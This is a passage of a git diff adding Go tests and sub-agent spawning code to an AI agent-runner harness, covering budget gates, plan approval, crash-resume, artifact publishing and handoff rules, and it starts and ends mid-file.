+ // Assembly reads results back in the assistant message's call order, + // regardless of arrival order (fold ToolResults is a map keyed by call_id). + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + req := Assemble(fold, l.Spec, nil, 2) + var toolResultOrder []string + for _, m := range req.Messages { + for _, p := range m.Parts { + if p.Kind == provider.PartToolResult { + toolResultOrder = append(toolResultOrder, p.CallID) + } + } + } + if want := []string{"c1", "c2", "c3"}; !equalStrings(toolResultOrder, want) { + t.Errorf("assembled tool-result order = %v, want issue order %v", toolResultOrder, want) + } +} + +// S4.3 / 3.7d under REAL parallelism: adjudication is serialized (asks and +// reservations happen one at a time before any execution), so reserve-then- +// settle cannot double-commit. A turn issues three execute calls (2000 each) +// against a budget that affords two — the third is denied, and the run never +// overspends. +func TestParallelToolBudgetNoOverspend(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "b1", Name: "bash", + Args: map[string]any{"command": "echo one"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "b2", Name: "bash", + Args: map[string]any{"command": "echo two"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "b3", Name: "bash", + Args: map[string]any{"command": "echo three"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 60, OutputTokens: 40}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Model.MaxTokens = 100 + l.Spec.Budget.MaxTotalTokens = 5000 + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.BudgetGate{MaxTotalTokens: 5000}, + }} + + if _, err := l.Run(context.Background(), "spend it"); err != nil { + t.Fatal(err) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + // LLM settled 100; b1 (2000) + b2 (2000) fit under 5000; b3 would reach + // 6100 and is denied. Exactly two executes were allowed. + deniedCount := 0 + for _, id := range []string{"b1", "b2", "b3"} { + tr, ok := fold.Conversation.ToolResults[id] + if !ok { + t.Errorf("no result for %s", id) + continue + } + if strings.Contains(string(tr.Result), "denied") { + deniedCount++ + } + } + if deniedCount != 1 { + t.Errorf("denied %d of 3 execute calls, want exactly 1 (2000+2000 fit, third overflows 5000)", deniedCount) + } + + // Peak reservation never exceeded the budget: replay the fold and assert + // settled+reserved stayed within 5000 at every step. + s := state.New() + for _, e := range events { + s, err = state.Apply(s, e) + if err != nil { + t.Fatal(err) + } + if peak := s.Run.Usage.Billed() + s.Budget.ReservedTotal(); peak > 5000 { + t.Fatalf("overspent: settled+reserved = %d > 5000 after %s", peak, e.Type) + } + } +} + +func equalStrings(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} diff --git a/internal/agent/plan_approval_test.go b/internal/agent/plan_approval_test.go new file mode 100644 index 0000000..99f22de --- /dev/null +++ b/internal/agent/plan_approval_test.go @@ -0,0 +1,124 @@ +package agent + +import ( + "context" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// seqApprover answers approvals from a script, recording what it saw. +type seqApprover struct { + answers []ApprovalDecision + seen []ApprovalRequest +} + +func (s *seqApprover) Resolve(_ context.Context, req ApprovalRequest) (ApprovalDecision, error) { + s.seen = append(s.seen, req) + d := s.answers[0] + if len(s.answers) > 1 { + s.answers = s.answers[1:] + } + return d, nil +} + +// S5.7 plan approval, the whole cycle: publish → review → REJECT (with a +// reason) → revised plan v2 → approve. Each ApprovalRequested pins the +// exact plan version it adjudicated via payload_ref. +func TestPlanApprovalFullFlow(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + // Turn 1: propose plan v1. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "p1", Name: "exit_plan_mode", + Args: map[string]any{"plan": "v1: wing it"}}}, + {Finish: "tool_use"}, + }}, + // Turn 2 (still in plan mode after the denial): propose v2. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "p2", Name: "exit_plan_mode", + Args: map[string]any{"plan": "v2: measured, reviewed steps"}}}, + {Finish: "tool_use"}, + }}, + // Turn 3 (default mode now): wrap up. + {Respond: []scripted.Event{{Text: "executing the approved plan"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Mode = pipeline.ModePlan + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.FloorGate{}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{{Action: "allow"}}, WS: l.Exec.WS}, + }} + approver := &seqApprover{answers: []ApprovalDecision{ + {Approve: false, Reason: "too vague, add steps", Source: "tty"}, + {Approve: true, Reason: "looks solid", Source: "tty"}, + }} + l.Approvals = approver + + res, err := l.Run(context.Background(), "plan then act") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 3 { + t.Fatalf("res = %+v", res) + } + + // The plan stream holds both versions. + streams, err := l.Artifacts.Streams() + if err != nil { + t.Fatal(err) + } + chain := streams["plan"] + if len(chain) != 2 { + t.Fatalf("plan versions = %+v", chain) + } + v1c, _ := l.Artifacts.Get(chain[0].Ref) + v2c, _ := l.Artifacts.Get(chain[1].Ref) + if !strings.Contains(string(v1c), "wing it") || !strings.Contains(string(v2c), "measured") { + t.Errorf("plan contents = %q, %q", v1c, v2c) + } + + // Each approval request pinned ITS version's ref. + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var requests []*event.ApprovalRequested + var responses []*event.ApprovalResponded + for _, e := range events { + switch e.Type { + case event.TypeApprovalRequested: + dec, _ := event.DecodePayload(e) + requests = append(requests, dec.(*event.ApprovalRequested)) + case event.TypeApprovalResponded: + dec, _ := event.DecodePayload(e) + responses = append(responses, dec.(*event.ApprovalResponded)) + } + } + if len(requests) != 2 || len(responses) != 2 { + t.Fatalf("requests = %d, responses = %d", len(requests), len(responses)) + } + if requests[0].PayloadRef != chain[0].Ref || requests[1].PayloadRef != chain[1].Ref { + t.Errorf("payload refs do not pin the reviewed versions:\n req: %s / %s\n chain: %s / %s", + requests[0].PayloadRef, requests[1].PayloadRef, chain[0].Ref, chain[1].Ref) + } + if responses[0].Decision != "deny" || !strings.Contains(responses[0].Reason, "too vague") { + t.Errorf("first response = %+v, want the reasoned rejection", responses[0]) + } + if responses[1].Decision != "approve" { + t.Errorf("second response = %+v", responses[1]) + } + + // The denial kept plan mode; the approval transitioned out. + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if fold.CurrentMode() != pipeline.ModeDefault { + t.Errorf("final mode = %q, want default after the approved exit", fold.CurrentMode()) + } +} diff --git a/internal/agent/resume_test.go b/internal/agent/resume_test.go new file mode 100644 index 0000000..e8e3116 --- /dev/null +++ b/internal/agent/resume_test.go @@ -0,0 +1,257 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/state/statetest" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// After a completed multi-turn run: fold(snapshot + tail) must equal +// fold(all events) — the 2.13 equivalence property on real loop output. +func TestSnapshotTailEquivalence(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello world"), 0o644); err != nil { + t.Fatal(err) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "greet.txt"}}}, + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "greet.txt", "old": "hello world", "new": "HELLO WORLD"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, root) + if _, err := l.Run(context.Background(), "make it loud"); err != nil { + t.Fatal(err) + } + + dir := l.Store.Dir() + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + full, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + + snap, ok, err := store.LatestSnapshot(dir) + if err != nil || !ok { + t.Fatalf("no snapshot after multi-turn run (err=%v)", err) + } + if snap.UptoSeq <= 1 { + t.Fatalf("snapshot upto_seq = %d", snap.UptoSeq) + } + var fromSnap state.State + if err := json.Unmarshal(snap.State, &fromSnap); err != nil { + t.Fatal(err) + } + for _, e := range events { + if e.Seq <= snap.UptoSeq { + continue + } + if fromSnap, err = state.Apply(fromSnap, e); err != nil { + t.Fatal(err) + } + } + statetest.AssertFoldEqual(t, fromSnap, full) +} + +func TestResumeRefusesVersionMismatch(t *testing.T) { + l := testLoop(t, scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }}, t.TempDir()) + // Seed a session that is NOT ended so Resume reaches the version check: + // journal only RunStarted. + env, err := event.New(event.TypeRunStarted, &event.RunStarted{SpecName: "t"}) + if err != nil { + t.Fatal(err) + } + if _, err := l.Store.Append(env); err != nil { + t.Fatal(err) + } + bad := state.SubStateVersions() + bad["conversation"] = 99 + if err := store.WriteSnapshot(l.Store.Dir(), 1, bad, state.New()); err != nil { + t.Fatal(err) + } + + _, err = l.Resume(context.Background()) + if err == nil || !strings.Contains(err.Error(), "version") { + t.Fatalf("err = %v, want version mismatch refusal", err) + } +} + +func TestResumeAlreadyEnded(t *testing.T) { + l := testLoop(t, scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }}, t.TempDir()) + if _, err := l.Run(context.Background(), "hi"); err != nil { + t.Fatal(err) + } + res, err := l.Resume(context.Background()) + if err == nil || !strings.Contains(err.Error(), "already ended") { + t.Fatalf("err = %v", err) + } + if res.Reason != "completed" { + t.Errorf("res = %+v", res) + } +} + +// The 2.13 crash-matrix scenario: a subprocess is killed right after turn +// 1's tool results land (counting predicate on the second turn_started — +// i.e. mid-run at a turn boundary); the parent resumes the SAME session +// dir and the run finishes turn 2 without re-running turn 1. +func TestCrashThenResumeContinuesRun(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + helperCrashRun(t) + return + } + + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello world"), 0o644); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestCrashThenResumeContinuesRun") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_SESS_DIR="+sessDir, + "CRASH_WS="+root, + crash.EnvVar+"=after:turn_started:2", // die at the turn-2 boundary + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + // The file was edited before the crash; the run is not ended. + if got, _ := os.ReadFile(filepath.Join(root, "greet.txt")); string(got) != "HELLO WORLD" { + t.Fatalf("pre-crash work lost: %q", got) + } + + // Resume with a fixture containing ONLY the remaining turn: any attempt + // to re-run turn 1 would drift (expects the edited transcript) or + // exhaust the fixture. + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + prov := scripted.New(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "all done"}, {Finish: "end_turn"}}}, + }}) + l := &Loop{ + Spec: crashSpec(), + Provider: prov, + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "crash-resume", + } + res, err := l.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + if err := prov.Done(); err != nil { + t.Errorf("resume fixture: %v", err) + } + + // The log is one coherent story: exactly one turn-1 LLM activity. + events, err := store.ReadEvents(sessDir) + if err != nil { + t.Fatal(err) + } + llmT1 := 0 + for _, e := range events { + if e.Type != event.TypeActivityStarted { + continue + } + var started event.ActivityStarted + if err := json.Unmarshal(e.Payload, &started); err != nil { + t.Fatal(err) + } + if started.ActivityID == "llm-t1" { + llmT1++ + } + } + if llmT1 != 1 { + t.Errorf("llm-t1 started %d times, want 1 (turn 1 must not re-run)", llmT1) + } + if last := events[len(events)-1]; last.Type != event.TypeRunEnded { + t.Errorf("last event = %s", last.Type) + } +} + +func crashSpec() *AgentSpec { + return &AgentSpec{ + Name: "crashy", + Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "be helpful", + Tools: []string{"read_file", "edit_file"}, + MaxTurns: 5, + } +} + +// helperCrashRun executes turn 1 (read + edit) and is killed by the +// counting predicate when TurnStarted{2} is appended. +func helperCrashRun(t *testing.T) { + es, err := store.OpenEventStore(os.Getenv("CRASH_SESS_DIR")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + ws, err := workspace.New(os.Getenv("CRASH_WS")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "greet.txt"}}}, + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "greet.txt", "old": "hello world", "new": "HELLO WORLD"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "unreachable"}, {Finish: "end_turn"}}}, + }} + l := &Loop{ + Spec: crashSpec(), + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "crash-resume", + } + _, _ = l.Run(context.Background(), "make it loud") + fmt.Println("UNREACHABLE: predicate did not fire") + os.Exit(0) +} diff --git a/internal/agent/review_s5_test.go b/internal/agent/review_s5_test.go new file mode 100644 index 0000000..5281282 --- /dev/null +++ b/internal/agent/review_s5_test.go @@ -0,0 +1,240 @@ +package agent + +import ( + "context" + "fmt" + "path/filepath" + "strings" + "sync" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// S5 review P0: concurrent publishes into the tree-shared store must not +// lose manifest versions or tear the file. +func TestArtifactStoreConcurrentPublish(t *testing.T) { + a, err := store.OpenArtifactStore(t.TempDir()) + if err != nil { + t.Fatal(err) + } + const n = 24 + var wg sync.WaitGroup + for i := 0; i < n; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + if _, err := a.Publish("shared", fmt.Appendf(nil, "content-%d", i)); err != nil { + t.Errorf("publish %d: %v", i, err) + } + }(i) + } + wg.Wait() + streams, err := a.Streams() + if err != nil { + t.Fatal(err) + } + chain := streams["shared"] + if len(chain) != n { + t.Fatalf("chain = %d versions, want %d (lost updates)", len(chain), n) + } + for i, v := range chain { + if v.Version != i+1 { + t.Fatalf("version chain not dense at %d: %+v", i, v) + } + } +} + +// S5 review P2: republishing the same content at the chain tip (the +// crash-resume path) returns the SAME version, not a duplicate. +func TestArtifactStoreRepublishSameContentDedups(t *testing.T) { + a, err := store.OpenArtifactStore(t.TempDir()) + if err != nil { + t.Fatal(err) + } + v1, _ := a.Publish("plan", []byte("the plan")) + v2, _ := a.Publish("plan", []byte("the plan")) + if v2.Version != v1.Version || v2.Ref != v1.Ref { + t.Fatalf("re-publish minted a duplicate: %+v vs %+v", v1, v2) + } + // Different content still advances. + v3, _ := a.Publish("plan", []byte("revised plan")) + if v3.Version != 2 { + t.Fatalf("v3 = %+v", v3) + } +} + +// S5 review P1: a FAILED child's real spend settles into the parent — the +// tree budget cannot be punctured through the failure path. +func TestSpawnFailedChildUsageSettles(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "burn and die"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 10, OutputTokens: 5}}, + {Finish: "tool_use"}, + }}, + // Child turn 1 spends real tokens… + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "read_file", + Args: map[string]any{"path": "x.txt"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 500, OutputTokens: 100}}, + {Finish: "tool_use"}, + }}, + // …then its turn 2 hits an impossible drift Expect: the scripted + // provider errors (non-retryable) and the child ABORTS having spent. + { + Expect: scripted.Expect{LastMessageContains: "IMPOSSIBLE-SENTINEL"}, + Respond: []scripted.Event{{Text: "never served"}, {Finish: "end_turn"}}, + }, + {Respond: []scripted.Event{{Text: "parent reacts to the failure"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v (failed child is model-visible, parent continues)", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError || !strings.Contains(string(tr.Result), "failed") { + t.Fatalf("spawn result = %+v", tr) + } + // Parent settled its own 15 + the dead child's 600. + if got := fold.Run.Usage.InputTokens + fold.Run.Usage.OutputTokens; got != 15+600 { + t.Errorf("settled = %d, want 615 (failed child's spend must count)", got) + } + // And the SubagentCompleted fact carries the real spend for inspect. + for _, e := range events { + if e.Type == event.TypeSubagentCompleted { + dec, _ := event.DecodePayload(e) + if u := dec.(*event.SubagentCompleted).Usage; u.InputTokens != 500 { + t.Errorf("subagent_completed usage = %+v", u) + } + } + } +} + +// S5 review P2: once a handoff is allowed in a turn, every further agent +// launch in the SAME turn is denied — control transfer is exclusive. +func TestHandoffExclusiveInBatch(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "h1", Name: "handoff_agent", + Args: map[string]any{"agent": "summarizer", "task": "take over"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "h2", Name: "handoff_agent", + Args: map[string]any{"agent": "summarizer", "task": "also take over"}}}, + {Finish: "tool_use"}, + }}, + // Exactly ONE successor runs. + {Respond: []scripted.Event{{Text: "successor done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{&pipeline.SpawnGate{}}} + + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "handoff" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if fold.Run.Spawns != 1 { + t.Errorf("spawns = %d, want 1 (second handoff denied)", fold.Run.Spawns) + } + r2 := fold.Conversation.ToolResults["h2"] + if !r2.IsError || !strings.Contains(string(r2.Result), "already transferred") { + t.Errorf("second handoff = %+v, want exclusive-transfer deny", r2) + } +} + +// S5 review: a child spec MAY be narrower than the parent (plan child under +// a default parent stays in plan mode). +func TestSpawnChildNarrowerModeKept(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "plan only"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "planned"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + child := summarizerSpec() + child.Mode = pipeline.ModePlan // narrower than the parent's default + l.SubSpecs = staticResolver(map[string]*AgentSpec{"summarizer": child}) + + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if err != nil { + t.Fatal(err) + } + childFold, _ := state.Fold(childEvents) + if got := childFold.CurrentMode(); got != pipeline.ModePlan { + t.Errorf("child mode = %q, want plan (narrower spec mode kept)", got) + } +} + +// S5 review P1: materialize passes the pipeline — a path-scoped deny rule +// binds an artifact-input write exactly like an edit_file. +func TestMaterializeDeniedByPathRule(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "go", + "inputs": []map[string]any{{"ref": "REF", "path": ".github/workflows/x.yml"}}}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "spawn failed, fine"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + if err := l.ensureArtifacts(); err != nil { + t.Fatal(err) + } + ref, err := l.Artifacts.Put([]byte("workflow content")) + if err != nil { + t.Fatal(err) + } + fix.Steps[0].Respond[0].ToolCall.Args["inputs"] = []map[string]any{ + {"ref": ref, "path": ".github/workflows/x.yml"}} + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.SpawnGate{}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{ + {Tool: "materialize", Action: "deny"}, + {Action: "allow"}, + }, WS: l.Exec.WS}, + }} + + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, _ := state.Fold(events) + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError || !strings.Contains(string(tr.Result), "failed") { + t.Errorf("spawn with denied materialize = %+v, want error result", tr) + } +} diff --git a/internal/agent/signature_test.go b/internal/agent/signature_test.go new file mode 100644 index 0000000..7cd6ecc --- /dev/null +++ b/internal/agent/signature_test.go @@ -0,0 +1,113 @@ +package agent + +import ( + "bytes" + "context" + "encoding/json" + "path/filepath" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// S4.4d: an opaque provider payload on a tool_call part (Gemini's +// thoughtSignature) must round-trip byte-identically — persisted into the +// event log on turn 1 and handed back VERBATIM in the turn-2 request the +// harness assembles. The harness never inspects or regenerates it. +func TestSignatureRoundTrip(t *testing.T) { + sig := json.RawMessage(`"CiQAsig_opaque_blob_preserved_verbatim=="`) + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "thinking, then acting"}, + {ToolCall: &scripted.ToolCallEvent{ + CallID: "call_1_0", Name: "bash", + Args: map[string]any{"command": "echo hi"}, + Extras: map[string]json.RawMessage{"thought_signature": sig}, + }}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + + cap := &capturingProvider{inner: scripted.New(fix)} + l := &Loop{ + Spec: &AgentSpec{ + Name: "sig", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + Tools: []string{"bash"}, + MaxTurns: 5, + }, + Provider: cap, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "sig-sess", + } + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + + // The turn-2 request the harness assembled must echo the signature back. + if len(cap.requests) < 2 { + t.Fatalf("expected 2 requests, got %d", len(cap.requests)) + } + got := findToolCallExtra(cap.requests[1].Messages, "call_1_0", "thought_signature") + if got == nil { + t.Fatal("signature missing from assembled turn-2 request") + } + if !bytes.Equal(got, sig) { + t.Errorf("signature not byte-identical:\n got: %s\nwant: %s", got, sig) + } + + // And it is durable — the assistant_message event carries it verbatim. + events, err := store.ReadEvents(es.Dir()) + if err != nil { + t.Fatal(err) + } + var persisted json.RawMessage + for _, e := range events { + if e.Type != event.TypeAssistantMessage { + continue + } + dec, err := event.DecodePayload(e) + if err != nil { + t.Fatal(err) + } + am := dec.(*event.AssistantMessage) + if x := findToolCallExtra([]provider.Message{am.Message}, "call_1_0", "thought_signature"); x != nil { + persisted = x + } + } + if persisted == nil || !bytes.Equal(persisted, sig) { + t.Errorf("signature not persisted byte-identically: %s", persisted) + } +} + +func findToolCallExtra(msgs []provider.Message, callID, key string) json.RawMessage { + for _, m := range msgs { + for _, p := range m.Parts { + if p.Kind == provider.PartToolCall && p.CallID == callID { + return p.Extras[key] + } + } + } + return nil +} diff --git a/internal/agent/spawn.go b/internal/agent/spawn.go new file mode 100644 index 0000000..e68d0ab --- /dev/null +++ b/internal/agent/spawn.go @@ -0,0 +1,315 @@ +package agent + +import ( + "context" + "encoding/json" + "fmt" + "path/filepath" + "slices" + "strings" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/redact" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" +) + +// SubSpecResolver resolves a sub-agent name from the spec's agents whitelist +// to its AgentSpec (S5.3). The CLI resolves .yaml next to the parent +// spec; tests inject directly. +type SubSpecResolver func(name string) (*AgentSpec, error) + +// renderAgentsDirectory freezes the sub-agent directory block (S5.3): the +// model spawns only what it can see here. Unresolvable names are listed +// without a description rather than hidden — the whitelist is the truth. +func renderAgentsDirectory(names []string, resolve SubSpecResolver) string { + if len(names) == 0 || resolve == nil { + return "" + } + var b strings.Builder + b.WriteString("\nSub-agents you can spawn with the spawn_agent tool:\n") + for _, name := range names { + desc := "" + if spec, err := resolve(name); err == nil && spec.Description != "" { + desc = ": " + spec.Description + } + fmt.Fprintf(&b, "- %s%s\n", name, desc) + } + b.WriteString("") + return b.String() +} + +// spawnAllowance is the min-aggregated child budget (S5.3): the child may +// spend at most min(parent remaining, child spec cap); zero means unlimited +// on that side. The result is both the effect's reservation (the whole +// allowance reserves up front, settling to actual on completion) and the +// child's own budget cap. +func (l *Loop) spawnAllowance(s state.State, childSpec *AgentSpec) int { + parentRemaining := 0 + if l.Spec.Budget.MaxTotalTokens > 0 { + parentRemaining = l.Spec.Budget.MaxTotalTokens - s.Run.Usage.Billed() - s.Budget.ReservedTotal() + if parentRemaining < 1 { + parentRemaining = 1 // exhausted: reserve something so the gate denies + } + } + child := childSpec.Budget.MaxTotalTokens + switch { + case parentRemaining == 0: + return child + case child == 0: + return parentRemaining + default: + return min(parentRemaining, child) + } +} + +// resolveSpawnTarget parses spawn/handoff args and resolves the child spec +// through the whitelist. A failure is a MODEL-visible problem (bad args, +// unknown agent), returned as a message, never a harness error. +func (l *Loop) resolveSpawnTarget(toolName string, rawArgs json.RawMessage) (agent, task string, spec *AgentSpec, problem string) { + agent, task, _, spec, problem = l.resolveSpawnTargetFull(toolName, rawArgs) + return agent, task, spec, problem +} + +// resolveSpawnTargetFull additionally returns validated artifact inputs +// (S5.8): every ref must resolve in the tree store BEFORE the child starts — +// a dangling input is the parent model's mistake, reported to it. +func (l *Loop) resolveSpawnTargetFull(toolName string, rawArgs json.RawMessage) (agent, task string, inputs []event.ArtifactInput, spec *AgentSpec, problem string) { + var args struct { + Agent string `json:"agent"` + Task string `json:"task"` + Inputs []event.ArtifactInput `json:"inputs"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Agent == "" || args.Task == "" { + return "", "", nil, nil, toolName + ": invalid args: need {\"agent\", \"task\"}" + } + if !slices.Contains(l.Spec.Agents, args.Agent) { + return "", "", nil, nil, fmt.Sprintf("%s: %q is not in this agent's directory", toolName, args.Agent) + } + if l.SubSpecs == nil { + return "", "", nil, nil, toolName + ": no sub-agent specs available" + } + spec, err := l.SubSpecs(args.Agent) + if err != nil { + return "", "", nil, nil, fmt.Sprintf("%s: %v", toolName, err) + } + for _, in := range args.Inputs { + if in.Ref == "" || in.Path == "" { + return "", "", nil, nil, toolName + ": each input needs {\"ref\", \"path\"}" + } + if l.Artifacts == nil { + return "", "", nil, nil, toolName + ": inputs given but no artifact store" + } + if _, err := l.Artifacts.Get(in.Ref); err != nil { + return "", "", nil, nil, fmt.Sprintf("%s: input ref %s does not resolve", toolName, in.Ref) + } + } + return 